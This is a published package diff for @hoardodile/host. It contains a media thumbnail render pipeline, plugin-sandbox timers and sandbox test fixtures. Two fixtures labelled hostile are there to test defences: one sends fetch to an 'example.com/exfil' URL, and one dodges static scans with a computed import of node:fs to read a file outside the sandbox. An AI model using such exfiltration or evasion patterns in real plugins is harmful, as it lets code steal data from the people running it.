@hoardodile/host 0.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (144) hide show
  1. package/LICENSE +18 -0
  2. package/README.md +73 -0
  3. package/dist/chunks/worker-entry.mjs +422 -0
  4. package/dist/container-fKxefO7p.d.ts +58 -0
  5. package/dist/contract/index.d.ts +49 -0
  6. package/dist/contract/index.js +187 -0
  7. package/dist/contract/index.js.map +1 -0
  8. package/dist/hoard/index.d.ts +754 -0
  9. package/dist/hoard/index.js +1939 -0
  10. package/dist/hoard/index.js.map +1 -0
  11. package/dist/image-Dx2Be3Bj.d.ts +168 -0
  12. package/dist/index.d.ts +788 -0
  13. package/dist/index.js +3311 -0
  14. package/dist/index.js.map +1 -0
  15. package/dist/media/index.d.ts +96 -0
  16. package/dist/media/index.js +152 -0
  17. package/dist/media/index.js.map +1 -0
  18. package/dist/probe/index.d.ts +113 -0
  19. package/dist/probe/index.js +454 -0
  20. package/dist/probe/index.js.map +1 -0
  21. package/dist/probe-cache-BkRI7HEK.d.ts +25 -0
  22. package/dist/render/index.d.ts +125 -0
  23. package/dist/render/index.js +430 -0
  24. package/dist/render/index.js.map +1 -0
  25. package/package.json +103 -0
  26. package/src/__testutils__/zip-fixtures.ts +139 -0
  27. package/src/activation.ts +116 -0
  28. package/src/api-types.ts +60 -0
  29. package/src/api.test.ts +564 -0
  30. package/src/api.ts +501 -0
  31. package/src/archive/7z.test.ts +222 -0
  32. package/src/archive/7z.ts +261 -0
  33. package/src/archive/archive-ops.test.ts +654 -0
  34. package/src/archive/extract-archive.test.ts +237 -0
  35. package/src/archive/extract-archive.ts +534 -0
  36. package/src/archive/extract.ts +693 -0
  37. package/src/archive/format.ts +49 -0
  38. package/src/archive/index.ts +116 -0
  39. package/src/archive/listing.ts +121 -0
  40. package/src/archive/materialize.ts +88 -0
  41. package/src/archive/name-decode.test.ts +34 -0
  42. package/src/archive/name-decode.ts +287 -0
  43. package/src/archive/nested-cd-cache.ts +55 -0
  44. package/src/archive/nested-entry.test.ts +194 -0
  45. package/src/archive/nested-entry.ts +254 -0
  46. package/src/archive/pack.ts +40 -0
  47. package/src/archive/zip-entries.test.ts +56 -0
  48. package/src/archive/zip-entries.ts +336 -0
  49. package/src/capability-guard.ts +73 -0
  50. package/src/container.ts +62 -0
  51. package/src/contract/container-fixture.ts +74 -0
  52. package/src/contract/index.ts +10 -0
  53. package/src/contract/suite.test.ts +101 -0
  54. package/src/contract/suite.ts +205 -0
  55. package/src/define-plugin.test.ts +53 -0
  56. package/src/define-plugin.ts +12 -0
  57. package/src/dev-runner.test.ts +98 -0
  58. package/src/dev-runner.ts +73 -0
  59. package/src/directory-api.test.ts +229 -0
  60. package/src/directory-api.ts +42 -0
  61. package/src/directory-container.ts +141 -0
  62. package/src/discovery.ts +295 -0
  63. package/src/errors.ts +74 -0
  64. package/src/fixtures.ts +8 -0
  65. package/src/hash.test.ts +301 -0
  66. package/src/hash.ts +167 -0
  67. package/src/hoard/dir-size.ts +58 -0
  68. package/src/hoard/index.ts +84 -0
  69. package/src/hoard/migrate-script.test.ts +539 -0
  70. package/src/hoard/order-manifest.test.ts +115 -0
  71. package/src/hoard/order-manifest.ts +131 -0
  72. package/src/hoard/paths.test.ts +226 -0
  73. package/src/hoard/paths.ts +569 -0
  74. package/src/hoard/plugin-vault.test.ts +160 -0
  75. package/src/hoard/plugin-vault.ts +233 -0
  76. package/src/hoard/sanitize.test.ts +149 -0
  77. package/src/hoard/sanitize.ts +230 -0
  78. package/src/hoard/staging-dir.ts +133 -0
  79. package/src/hoard/version.test.ts +285 -0
  80. package/src/hoard/version.ts +216 -0
  81. package/src/hoard/versioned-folder-ops.ts +152 -0
  82. package/src/hoard/write-versioned.test.ts +67 -0
  83. package/src/hoard/write-versioned.ts +39 -0
  84. package/src/hooks.test.ts +528 -0
  85. package/src/hooks.ts +428 -0
  86. package/src/index.ts +135 -0
  87. package/src/loader.test.ts +442 -0
  88. package/src/loader.ts +213 -0
  89. package/src/media/index.ts +16 -0
  90. package/src/media/render-cache.ts +27 -0
  91. package/src/media/seekable.ts +35 -0
  92. package/src/media/thumb-input.test.ts +109 -0
  93. package/src/media/thumb-input.ts +194 -0
  94. package/src/nested-view.test.ts +223 -0
  95. package/src/nested-view.ts +239 -0
  96. package/src/probe/audio.test.ts +135 -0
  97. package/src/probe/audio.ts +140 -0
  98. package/src/probe/av.ts +84 -0
  99. package/src/probe/ffprobe.ts +197 -0
  100. package/src/probe/image.test.ts +251 -0
  101. package/src/probe/image.ts +336 -0
  102. package/src/probe/index.ts +54 -0
  103. package/src/probe/sniff.test.ts +72 -0
  104. package/src/probe/sniff.ts +67 -0
  105. package/src/probe/video.test.ts +41 -0
  106. package/src/probe/video.ts +116 -0
  107. package/src/probe-cache.test.ts +89 -0
  108. package/src/probe-cache.ts +65 -0
  109. package/src/render/ffmpeg.ts +78 -0
  110. package/src/render/index.ts +34 -0
  111. package/src/render/pipeline.test.ts +187 -0
  112. package/src/render/pipeline.ts +479 -0
  113. package/src/sandbox/call-timers.ts +68 -0
  114. package/src/sandbox/fixtures/api-error-plugin.mjs +11 -0
  115. package/src/sandbox/fixtures/asset-plugin.mjs +13 -0
  116. package/src/sandbox/fixtures/chatty-plugin.mjs +14 -0
  117. package/src/sandbox/fixtures/container-plugin.mjs +8 -0
  118. package/src/sandbox/fixtures/context-plugin.mjs +19 -0
  119. package/src/sandbox/fixtures/crash-plugin.mjs +6 -0
  120. package/src/sandbox/fixtures/echo-plugin.mjs +17 -0
  121. package/src/sandbox/fixtures/exit-plugin.mjs +6 -0
  122. package/src/sandbox/fixtures/fetch-plugin.mjs +8 -0
  123. package/src/sandbox/fixtures/flood-api-plugin.mjs +8 -0
  124. package/src/sandbox/fixtures/flood-log-plugin.mjs +8 -0
  125. package/src/sandbox/fixtures/hostile-dynamic-plugin.mjs +9 -0
  126. package/src/sandbox/fixtures/hostile-plugin.mjs +13 -0
  127. package/src/sandbox/fixtures/huge-result-plugin.mjs +8 -0
  128. package/src/sandbox/fixtures/logging-plugin.mjs +9 -0
  129. package/src/sandbox/fixtures/range-plugin.mjs +9 -0
  130. package/src/sandbox/fixtures/slow-api-plugin.mjs +11 -0
  131. package/src/sandbox/fixtures/spin-plugin.mjs +9 -0
  132. package/src/sandbox/fixtures/stuck-plugin.mjs +12 -0
  133. package/src/sandbox/fixtures/thrower-plugin.mjs +7 -0
  134. package/src/sandbox/host.test.ts +619 -0
  135. package/src/sandbox/host.ts +933 -0
  136. package/src/sandbox/host.unit.test.ts +330 -0
  137. package/src/sandbox/protocol.test.ts +85 -0
  138. package/src/sandbox/protocol.ts +147 -0
  139. package/src/sandbox/sandboxed-plugin.ts +30 -0
  140. package/src/sandbox/worker-entry.mjs +422 -0
  141. package/src/seed.test.ts +102 -0
  142. package/src/seed.ts +160 -0
  143. package/src/settings-store.ts +26 -0
  144. package/src/types.ts +21 -0
@@ -0,0 +1,479 @@
1
+ import { spawn } from "node:child_process"
2
+ import { mkdir, readdir, rename, rm } from "node:fs/promises"
3
+ import { dirname, extname, join } from "node:path"
4
+ import type { Readable } from "node:stream"
5
+ import type { ResolvedImageVariant } from "@hoardodile/sdk-types/image-variant"
6
+ import sharp, { type Sharp } from "sharp"
7
+ import {
8
+ extToAudioInputFormat,
9
+ extToFfmpegInputFormat,
10
+ readImageMetadata,
11
+ sharpFromReadable,
12
+ sharpImageInputOpts,
13
+ } from "../probe/index.ts"
14
+ import type { FfmpegPaths } from "./ffmpeg.ts"
15
+
16
+ /**
17
+ * Level of downscaling applied to animated thumbnails: they use 1/3 the
18
+ * still-image area cap, which keeps animated WebP file sizes sane.
19
+ */
20
+ export const ANIMATED_AREA_DIVISOR = 3
21
+
22
+ /** Regexp matching the temp-file suffix written by {@link encodeImageFile}. */
23
+ const ORPHANED_TEMP_RE = /\.writing-\d+-\d+$/
24
+
25
+ /**
26
+ * Recursively remove any `.writing-<pid>-<ts>` temp files left behind by a
27
+ * previous process crash. Safe to call fire-and-forget at startup.
28
+ */
29
+ export async function cleanOrphanedTempFiles(thumbRoot: string): Promise<void> {
30
+ await removeOrphanedInDir(thumbRoot)
31
+ }
32
+
33
+ async function removeOrphanedInDir(dir: string): Promise<void> {
34
+ let entries: string[]
35
+ try {
36
+ entries = await readdir(dir)
37
+ } catch {
38
+ return
39
+ }
40
+ await Promise.all(
41
+ entries.map(async (entry) => {
42
+ const full = join(dir, entry)
43
+ if (ORPHANED_TEMP_RE.test(entry)) {
44
+ await rm(full, { force: true }).catch(() => {})
45
+ } else {
46
+ await removeOrphanedInDir(full)
47
+ }
48
+ }),
49
+ )
50
+ }
51
+
52
+ export const WEBP_QUALITY = 82
53
+ export const PREVIEW_WEBP_QUALITY = 90
54
+ export const AVIF_QUALITY = 65
55
+ export const PREVIEW_AVIF_QUALITY = 70
56
+ /**
57
+ * Level of CPU effort the AVIF encoder spends reducing file size
58
+ * (0 = fastest/largest … 9 = slowest/smallest; sharp's default is 4).
59
+ * Thumbs are cache-once artifacts re-encoded in bulk by the precache
60
+ * sweep, where AVIF encode dominates wall time; effort 2 cuts encode
61
+ * cost substantially for a few percent larger output — measured on the
62
+ * precache bench (see bench/precache.bench.ts).
63
+ */
64
+ export const AVIF_EFFORT = 2
65
+
66
+ export type RenderResult = {
67
+ readonly path: string
68
+ readonly bytes: number
69
+ }
70
+
71
+ export type ImageThumbInput =
72
+ | string
73
+ | Buffer
74
+ | {
75
+ readonly openStream: () => Promise<Readable>
76
+ /**
77
+ * Byte-range read into the underlying source. Lets the metadata
78
+ * step read a small header window instead of streaming the
79
+ * whole entry — libvips full-reads non-seekable input.
80
+ */
81
+ readonly readRange?: (start: number, end: number) => Promise<Buffer>
82
+ }
83
+
84
+ function isReopenableImageStream(input: ImageThumbInput): input is {
85
+ readonly openStream: () => Promise<Readable>
86
+ readonly readRange?: (start: number, end: number) => Promise<Buffer>
87
+ } {
88
+ return (
89
+ typeof input === "object" &&
90
+ input !== null &&
91
+ !Buffer.isBuffer(input) &&
92
+ "openStream" in input
93
+ )
94
+ }
95
+
96
+ export type ImageThumbRenderResult = RenderResult & {
97
+ readonly format: "webp" | "avif"
98
+ readonly displayWidth: number
99
+ readonly displayHeight: number
100
+ readonly animated: boolean
101
+ }
102
+
103
+ export type VideoFrameSource = string | Readable
104
+
105
+ /**
106
+ * Encode an image thumb in a single sharp pipeline: one metadata read,
107
+ * animation detection, resize, and encode. Encodes to the variant's
108
+ * `format`, downgrading an animated source to WebP (sharp cannot encode
109
+ * animated AVIF).
110
+ */
111
+ export async function renderImageThumbOnce(opts: {
112
+ readonly input: ImageThumbInput
113
+ readonly resolveDest: (fmt: "webp" | "avif") => string
114
+ /**
115
+ * The resolved render plan: codec, fit policy, area cap and
116
+ * per-format qualities. The pipeline is a pure consumer of the
117
+ * variant — everything that decides the output bytes lives in it.
118
+ */
119
+ readonly variant: ResolvedImageVariant
120
+ readonly ext?: string
121
+ }): Promise<ImageThumbRenderResult> {
122
+ const ext =
123
+ opts.ext ??
124
+ (typeof opts.input === "string" ? extname(opts.input).toLowerCase() : "")
125
+ const { meta, animated } = await readImageMetadata(opts.input, ext)
126
+ const h = meta.pageHeight ?? meta.height
127
+ if (meta.width === undefined || h === undefined) {
128
+ throw new Error("image source is missing dimensions")
129
+ }
130
+ const requested = opts.variant.format
131
+ const format = animated && requested === "avif" ? "webp" : requested
132
+ const area = animated
133
+ ? Math.floor(opts.variant.maxArea / ANIMATED_AREA_DIVISOR)
134
+ : opts.variant.maxArea
135
+ const dims =
136
+ opts.variant.fit === "exact"
137
+ ? { width: meta.width, height: h }
138
+ : fitInsideArea(meta.width, h, area)
139
+ const destPath = opts.resolveDest(format)
140
+ await mkdir(dirname(destPath), { recursive: true })
141
+ const pipeline = isReopenableImageStream(opts.input)
142
+ ? await sharpFromReadable(await opts.input.openStream(), {
143
+ pages: animated ? -1 : 1,
144
+ animated: animated || undefined,
145
+ })
146
+ : sharp(
147
+ opts.input,
148
+ sharpImageInputOpts(opts.input, ext, animated ? -1 : 1, animated),
149
+ )
150
+ const result = await encodeImageFile(
151
+ pipeline,
152
+ destPath,
153
+ {
154
+ // `exact` carries no resize bounds: the encoder writes the
155
+ // source pixels verbatim.
156
+ maxWidth: opts.variant.fit === "exact" ? undefined : dims.width,
157
+ maxHeight: opts.variant.fit === "exact" ? undefined : dims.height,
158
+ quality:
159
+ format === "webp" ? opts.variant.webpQuality : opts.variant.avifQuality,
160
+ animated: animated || undefined,
161
+ },
162
+ format,
163
+ )
164
+ return {
165
+ ...result,
166
+ format,
167
+ displayWidth: dims.width,
168
+ displayHeight: dims.height,
169
+ animated,
170
+ }
171
+ }
172
+
173
+ /**
174
+ * Encode `sourcePath` to WebP at `destPath`, sized so that
175
+ * `width × height < maxArea`. Animated sources are kept animated.
176
+ * @throws `Error` from sharp.
177
+ */
178
+ export async function renderImageWithArea(
179
+ sourcePath: string,
180
+ destPath: string,
181
+ maxArea: number,
182
+ quality: number,
183
+ animated: boolean,
184
+ ): Promise<RenderResult> {
185
+ await mkdir(dirname(destPath), { recursive: true })
186
+ return encodeSharpWithArea({
187
+ pipeline: sharp(sourcePath, { animated }),
188
+ destPath,
189
+ maxArea,
190
+ quality,
191
+ format: "webp",
192
+ animated,
193
+ })
194
+ }
195
+
196
+ /**
197
+ * Capture a frame from a file path or readable stream via ffmpeg and
198
+ * encode, sized so that `width × height < maxArea`.
199
+ * @throws `Error` with ffmpeg stderr when ffmpeg exits non-zero.
200
+ */
201
+ export async function renderVideoFrame(opts: {
202
+ readonly source: VideoFrameSource
203
+ readonly destPath: string
204
+ readonly ffmpeg: FfmpegPaths
205
+ readonly maxArea: number
206
+ readonly quality: number
207
+ readonly format?: "webp" | "avif"
208
+ readonly timeSeconds?: number
209
+ /** Required when `source` is a stream — ffmpeg cannot infer container from `pipe:0`. */
210
+ readonly ext?: string
211
+ }): Promise<RenderResult> {
212
+ return renderFfmpegStill({
213
+ ...opts,
214
+ inputFormat:
215
+ opts.ext === undefined ? undefined : extToFfmpegInputFormat(opts.ext),
216
+ })
217
+ }
218
+
219
+ /**
220
+ * Extract an audio file's embedded artwork (ID3 APIC, FLAC PICTURE, MP4
221
+ * `covr`) and encode it as a thumbnail. ffmpeg exposes the artwork as a
222
+ * still video stream, so this rides the same still-frame pipeline as
223
+ * {@link renderVideoFrame} — only the container hint differs.
224
+ * @throws `Error` with ffmpeg stderr when the file carries no artwork.
225
+ */
226
+ export async function renderAudioCoverArt(opts: {
227
+ readonly source: VideoFrameSource
228
+ readonly destPath: string
229
+ readonly ffmpeg: FfmpegPaths
230
+ readonly maxArea: number
231
+ readonly quality: number
232
+ readonly format?: "webp" | "avif"
233
+ /** Required when `source` is a stream — ffmpeg cannot infer container from `pipe:0`. */
234
+ readonly ext?: string
235
+ }): Promise<RenderResult> {
236
+ return renderFfmpegStill({
237
+ ...opts,
238
+ inputFormat:
239
+ opts.ext === undefined ? undefined : extToAudioInputFormat(opts.ext),
240
+ })
241
+ }
242
+
243
+ async function renderFfmpegStill(opts: {
244
+ readonly source: VideoFrameSource
245
+ readonly destPath: string
246
+ readonly ffmpeg: FfmpegPaths
247
+ readonly maxArea: number
248
+ readonly quality: number
249
+ readonly format?: "webp" | "avif"
250
+ readonly timeSeconds?: number
251
+ readonly inputFormat?: string
252
+ }): Promise<RenderResult> {
253
+ await mkdir(dirname(opts.destPath), { recursive: true })
254
+ const jpeg = await extractFrameAtTimeJpeg({
255
+ source: opts.source,
256
+ timeSeconds: opts.timeSeconds ?? 0,
257
+ ffmpeg: opts.ffmpeg,
258
+ inputFormat: opts.inputFormat,
259
+ })
260
+ return encodeSharpWithArea({
261
+ pipeline: sharp(jpeg),
262
+ destPath: opts.destPath,
263
+ maxArea: opts.maxArea,
264
+ quality: opts.quality,
265
+ format: opts.format ?? "avif",
266
+ animated: false,
267
+ })
268
+ }
269
+
270
+ type EncodeImageFileOptions = {
271
+ /**
272
+ * Resize bounds (fit `inside`, never enlarged). When both are
273
+ * omitted the source pixels are encoded verbatim — the `exact`
274
+ * variant's transcode-only path.
275
+ */
276
+ readonly maxWidth?: number
277
+ readonly maxHeight?: number
278
+ readonly quality: number
279
+ /**
280
+ * When `true`, skip `.rotate()` (sharp's auto-EXIF-orient call which
281
+ * collapses animated input to a single frame) so the encoded WebP
282
+ * keeps every page. Animated sources never carry useful EXIF
283
+ * orientation, so dropping the rotate is safe.
284
+ */
285
+ readonly animated?: boolean
286
+ }
287
+
288
+ /**
289
+ * Encode a sharp pipeline to `destPath`, sized so that
290
+ * `width × height < maxArea`.
291
+ */
292
+ async function encodeSharpWithArea(opts: {
293
+ pipeline: Sharp
294
+ destPath: string
295
+ maxArea: number
296
+ quality: number
297
+ format: "webp" | "avif"
298
+ animated: boolean
299
+ }): Promise<RenderResult> {
300
+ const meta = await opts.pipeline.metadata()
301
+ const h = meta.pageHeight ?? meta.height
302
+ const dims =
303
+ meta.width !== undefined && h !== undefined
304
+ ? fitInsideArea(meta.width, h, opts.maxArea)
305
+ : undefined
306
+ return encodeImageFile(
307
+ opts.pipeline,
308
+ opts.destPath,
309
+ {
310
+ maxWidth: dims?.width,
311
+ maxHeight: dims?.height,
312
+ quality: opts.quality,
313
+ animated: opts.animated || undefined,
314
+ },
315
+ opts.format,
316
+ )
317
+ }
318
+
319
+ async function encodeImageFile(
320
+ pipeline: Sharp,
321
+ destPath: string,
322
+ opts: EncodeImageFileOptions,
323
+ format: "webp" | "avif",
324
+ ): Promise<RenderResult> {
325
+ const tmp = `${destPath}.writing-${process.pid}-${Date.now()}`
326
+ try {
327
+ const oriented = opts.animated === true ? pipeline : pipeline.rotate()
328
+ const resized =
329
+ opts.maxWidth === undefined && opts.maxHeight === undefined
330
+ ? oriented
331
+ : oriented.resize({
332
+ width: opts.maxWidth,
333
+ height: opts.maxHeight,
334
+ fit: "inside",
335
+ withoutEnlargement: true,
336
+ })
337
+ const encoded =
338
+ format === "webp"
339
+ ? resized.webp({ quality: opts.quality })
340
+ : resized.avif({ quality: opts.quality, effort: AVIF_EFFORT })
341
+ const info = await encoded.toFile(tmp)
342
+ await rename(tmp, destPath)
343
+ return { path: destPath, bytes: info.size }
344
+ } catch (err) {
345
+ await rm(tmp, { force: true }).catch(() => {})
346
+ throw err
347
+ }
348
+ }
349
+
350
+ /**
351
+ * Compute target pixel dimensions that keep the aspect ratio while
352
+ * guaranteeing `width × height < maxArea`.
353
+ */
354
+ export function fitInsideArea(
355
+ srcWidth: number,
356
+ srcHeight: number,
357
+ maxArea: number,
358
+ ): { readonly width: number; readonly height: number } {
359
+ const area = srcWidth * srcHeight
360
+ if (area <= maxArea) return { width: srcWidth, height: srcHeight }
361
+ const scale = Math.sqrt(maxArea / area)
362
+ return {
363
+ width: Math.max(1, Math.floor(srcWidth * scale)),
364
+ height: Math.max(1, Math.floor(srcHeight * scale)),
365
+ }
366
+ }
367
+
368
+ function extractFrameAtTimeJpeg(opts: {
369
+ source: VideoFrameSource
370
+ timeSeconds: number
371
+ ffmpeg: FfmpegPaths
372
+ inputFormat?: string
373
+ }): Promise<Buffer> {
374
+ if (typeof opts.source === "string") {
375
+ return extractFrameAtTimeJpegFromPath(opts.source, opts)
376
+ }
377
+ return extractFrameAtTimeJpegFromStream(opts.source, opts)
378
+ }
379
+
380
+ function extractFrameAtTimeJpegFromPath(
381
+ sourcePath: string,
382
+ opts: {
383
+ timeSeconds: number
384
+ ffmpeg: FfmpegPaths
385
+ },
386
+ ): Promise<Buffer> {
387
+ const args = ["-hide_banner", "-loglevel", "error"]
388
+ if (opts.timeSeconds > 0) {
389
+ args.push("-ss", String(opts.timeSeconds))
390
+ }
391
+ args.push("-i", sourcePath)
392
+ args.push(
393
+ "-vf",
394
+ "scale=iw*sar:ih,scale='min(1024,iw)':-2",
395
+ "-frames:v",
396
+ "1",
397
+ "-f",
398
+ "image2",
399
+ "-vcodec",
400
+ "mjpeg",
401
+ "pipe:1",
402
+ )
403
+ return runFfmpegJpegExtract(args, opts.ffmpeg, undefined)
404
+ }
405
+
406
+ function extractFrameAtTimeJpegFromStream(
407
+ source: Readable,
408
+ opts: {
409
+ timeSeconds: number
410
+ ffmpeg: FfmpegPaths
411
+ inputFormat?: string
412
+ },
413
+ ): Promise<Buffer> {
414
+ if (opts.inputFormat === undefined) {
415
+ return Promise.reject(
416
+ new Error("stream video frame extraction requires an input format hint"),
417
+ )
418
+ }
419
+ const args = ["-hide_banner", "-loglevel", "error"]
420
+ args.push("-probesize", "100M", "-analyzeduration", "100M")
421
+ args.push("-f", opts.inputFormat, "-i", "pipe:0")
422
+ if (opts.timeSeconds > 0) {
423
+ args.push("-ss", String(opts.timeSeconds))
424
+ }
425
+ args.push(
426
+ "-vf",
427
+ "scale=iw*sar:ih,scale='min(1024,iw)':-2",
428
+ "-frames:v",
429
+ "1",
430
+ "-f",
431
+ "image2",
432
+ "-vcodec",
433
+ "mjpeg",
434
+ "pipe:1",
435
+ )
436
+ return runFfmpegJpegExtract(args, opts.ffmpeg, source)
437
+ }
438
+
439
+ function runFfmpegJpegExtract(
440
+ args: string[],
441
+ ffmpeg: FfmpegPaths,
442
+ source: Readable | undefined,
443
+ ): Promise<Buffer> {
444
+ return new Promise((resolve, reject) => {
445
+ const fromStream = source !== undefined
446
+ const child = spawn(ffmpeg.ffmpeg, args, {
447
+ stdio: fromStream ? ["pipe", "pipe", "pipe"] : ["ignore", "pipe", "pipe"],
448
+ })
449
+ const stdout = child.stdout
450
+ const stderr = child.stderr
451
+ if (stdout === null || stderr === null) {
452
+ reject(new Error("ffmpeg stdio was not configured"))
453
+ return
454
+ }
455
+ const stdoutChunks: Buffer[] = []
456
+ const stderrChunks: Buffer[] = []
457
+ stdout.on("data", (chunk: Buffer) => stdoutChunks.push(chunk))
458
+ stderr.on("data", (chunk: Buffer) => stderrChunks.push(chunk))
459
+ if (source !== undefined) {
460
+ source.on("error", reject)
461
+ source.pipe(child.stdin!)
462
+ child.stdin?.on("error", () => {})
463
+ }
464
+ child.on("error", reject)
465
+ child.on("close", (code) => {
466
+ if (code !== 0) {
467
+ const msg = Buffer.concat(stderrChunks).toString("utf8").trim()
468
+ reject(new Error(`ffmpeg exited ${code}${msg ? `: ${msg}` : ""}`))
469
+ return
470
+ }
471
+ const out = Buffer.concat(stdoutChunks)
472
+ if (out.length === 0) {
473
+ reject(new Error("ffmpeg produced no output"))
474
+ return
475
+ }
476
+ resolve(out)
477
+ })
478
+ })
479
+ }
@@ -0,0 +1,68 @@
1
+ import type { ResourceAPI } from "../types.ts"
2
+
3
+ /**
4
+ * A hook invocation awaiting a worker response. Carries the call's
5
+ * progress state plus the two timers policing it: the inactivity
6
+ * watchdog and the absolute hard timeout.
7
+ */
8
+ export type PendingCall = {
9
+ readonly api: ResourceAPI
10
+ readonly resolve: (value: unknown) => void
11
+ readonly reject: (err: Error) => void
12
+ /**
13
+ * Host-side API dispatches currently running for this call. While any
14
+ * are in flight the watchdog is paused — the plugin is blocked on the
15
+ * host, not hung.
16
+ */
17
+ apiInFlight: number
18
+ watchdog?: NodeJS.Timeout
19
+ hardTimer?: NodeJS.Timeout
20
+ }
21
+
22
+ export type CallTimers = {
23
+ /** (Re)arm the inactivity watchdog, replacing any previous one. */
24
+ readonly armWatchdog: (call: PendingCall, onExpire: () => void) => void
25
+ /** Arm the absolute per-invocation cap. */
26
+ readonly armHardTimer: (call: PendingCall, onExpire: () => void) => void
27
+ /** Suspend the watchdog while host-side API work is in flight. */
28
+ readonly pauseWatchdog: (call: PendingCall) => void
29
+ /** Cancel both timers of a call (settled or abandoned). */
30
+ readonly clearCallTimers: (call: PendingCall) => void
31
+ }
32
+
33
+ /**
34
+ * Timer bookkeeping for sandboxed hook invocations: the inactivity
35
+ * watchdog (`watchdogMs`) and the absolute cap (`hardTimeoutMs`). Expiry
36
+ * callbacks are supplied per arm by the owner — which knows the owning
37
+ * state and worker — so this module stays decoupled from the sandbox
38
+ * lifecycle.
39
+ */
40
+ export function createCallTimers(opts: {
41
+ readonly watchdogMs: number
42
+ readonly hardTimeoutMs: number
43
+ }): CallTimers {
44
+ function armWatchdog(call: PendingCall, onExpire: () => void): void {
45
+ if (call.watchdog !== undefined) clearTimeout(call.watchdog)
46
+ call.watchdog = setTimeout(onExpire, opts.watchdogMs)
47
+ call.watchdog.unref()
48
+ }
49
+
50
+ function armHardTimer(call: PendingCall, onExpire: () => void): void {
51
+ if (call.hardTimer !== undefined) clearTimeout(call.hardTimer)
52
+ call.hardTimer = setTimeout(onExpire, opts.hardTimeoutMs)
53
+ call.hardTimer.unref()
54
+ }
55
+
56
+ function pauseWatchdog(call: PendingCall): void {
57
+ if (call.watchdog === undefined) return
58
+ clearTimeout(call.watchdog)
59
+ call.watchdog = undefined
60
+ }
61
+
62
+ function clearCallTimers(call: PendingCall): void {
63
+ if (call.watchdog !== undefined) clearTimeout(call.watchdog)
64
+ if (call.hardTimer !== undefined) clearTimeout(call.hardTimer)
65
+ }
66
+
67
+ return { armWatchdog, armHardTimer, pauseWatchdog, clearCallTimers }
68
+ }
@@ -0,0 +1,11 @@
1
+ // Fixture plugin that surfaces host-side API errors through the RPC boundary.
2
+ export default {
3
+ detect: async (api) => {
4
+ try {
5
+ await api.readFile("missing.bin")
6
+ } catch (err) {
7
+ return { ok: false, reasons: [`api said: ${err.message}`] }
8
+ }
9
+ return { ok: true }
10
+ },
11
+ }
@@ -0,0 +1,13 @@
1
+ // Sandbox fixture: exercises the plugin asset API within detect — reads
2
+ // the vault stat, then performs a consent-gated download. Used to verify
3
+ // the manifest permission gate and the wired plugin asset handler.
4
+ export default {
5
+ detect: async (api) => {
6
+ const stat = await api.statAsset("runtime/a.mjs")
7
+ const downloaded = await api.download({
8
+ url: "https://example.com/runtime/a.mjs",
9
+ dest: "runtime/a.mjs",
10
+ })
11
+ return { ok: true, stat, downloaded }
12
+ },
13
+ }
@@ -0,0 +1,14 @@
1
+ // Fixture plugin that keeps showing API activity for longer than the test
2
+ // watchdog window — must NOT be killed.
3
+ const sleep = (ms) => new Promise((r) => setTimeout(r, ms))
4
+
5
+ export default {
6
+ detect: async (api) => {
7
+ for (let i = 0; i < 5; i++) {
8
+ await sleep(100)
9
+ await api.statFile("tick")
10
+ api.logInfo("tick", { i })
11
+ }
12
+ return { ok: true }
13
+ },
14
+ }
@@ -0,0 +1,8 @@
1
+ // Fixture: uses the container API surface gated by the `container`
2
+ // manifest permission — without it the sandbox denies the RPC.
3
+ export default {
4
+ detect: async (api) => {
5
+ const listing = await api.listContainer("book.cbz")
6
+ return { ok: true, entries: listing.entries.length }
7
+ },
8
+ }
@@ -0,0 +1,19 @@
1
+ // Fixture plugin: detect returns its classification spread on ok(), and
2
+ // later hooks read it back via api.context.detect — the one-pass
3
+ // classification flow.
4
+ export default {
5
+ async detect(api) {
6
+ const files = await api.listFileNames()
7
+ return { ok: true, files, archive: files.length === 1 }
8
+ },
9
+ async sourceMeta(api) {
10
+ const shape = api.context.detect
11
+ return shape === undefined
12
+ ? { fromContext: false }
13
+ : {
14
+ fromContext: true,
15
+ files: shape.files,
16
+ archive: shape.archive,
17
+ }
18
+ },
19
+ }
@@ -0,0 +1,6 @@
1
+ // Fixture plugin whose module evaluation throws — load must fail.
2
+ throw new Error("boom at import")
3
+
4
+ export default {
5
+ detect: async () => ({ ok: true }),
6
+ }
@@ -0,0 +1,17 @@
1
+ // Well-behaved fixture plugin: exercises listFiles/readFile/statFile and
2
+ // echoes values back so tests can assert RPC routing and binary transfer.
3
+ export default {
4
+ detect: async (api) => {
5
+ const files = await api.listFileNames()
6
+ return files.length > 0 ? { ok: true } : { ok: false, reasons: ["empty"] }
7
+ },
8
+ sourceMeta: async (api) => {
9
+ const bytes = await api.readFile("blob.bin")
10
+ return { bytes: Array.from(bytes) }
11
+ },
12
+ // No searchMeta / coverLocal on purpose — tests assert hook presence.
13
+ listFiles: async (api) => {
14
+ const stat = await api.statFile("id")
15
+ return [String(stat?.sizeBytes ?? -1)]
16
+ },
17
+ }
@@ -0,0 +1,6 @@
1
+ // Fixture plugin that kills its own worker thread when invoked.
2
+ export default {
3
+ detect: async () => {
4
+ process.exit(1)
5
+ },
6
+ }
@@ -0,0 +1,8 @@
1
+ // Hostile fixture: the ambient `fetch` global must be scrubbed before the
2
+ // plugin code runs — calling it throws instead of reaching the network.
3
+ export default {
4
+ detect: async () => {
5
+ await fetch("https://example.com/exfil")
6
+ return { ok: true }
7
+ },
8
+ }
@@ -0,0 +1,8 @@
1
+ // Fixture: exceeds the per-hook API-call budget to prove a runaway RPC
2
+ // fan-out fails the hook instead of pinning the host's CPU.
3
+ export default {
4
+ detect: async (api) => {
5
+ for (let i = 0; i < 30; i++) await api.listFileNames()
6
+ return { ok: true }
7
+ },
8
+ }
@@ -0,0 +1,8 @@
1
+ // Fixture: exceeds the per-hook log budget to prove a log flood fails
2
+ // the hook instead of resetting the watchdog forever.
3
+ export default {
4
+ detect: async (api) => {
5
+ for (let i = 0; i < 30; i++) api.logInfo(`spam ${i}`)
6
+ return { ok: true }
7
+ },
8
+ }
@@ -0,0 +1,9 @@
1
+ // Hostile fixture: a computed dynamic import of a denied builtin. Static
2
+ // scans cannot catch it — the runtime policy gate must.
3
+ export default {
4
+ detect: async () => {
5
+ const mod = await import("node:" + "fs")
6
+ mod.readFileSync("/outside.txt")
7
+ return { ok: true }
8
+ },
9
+ }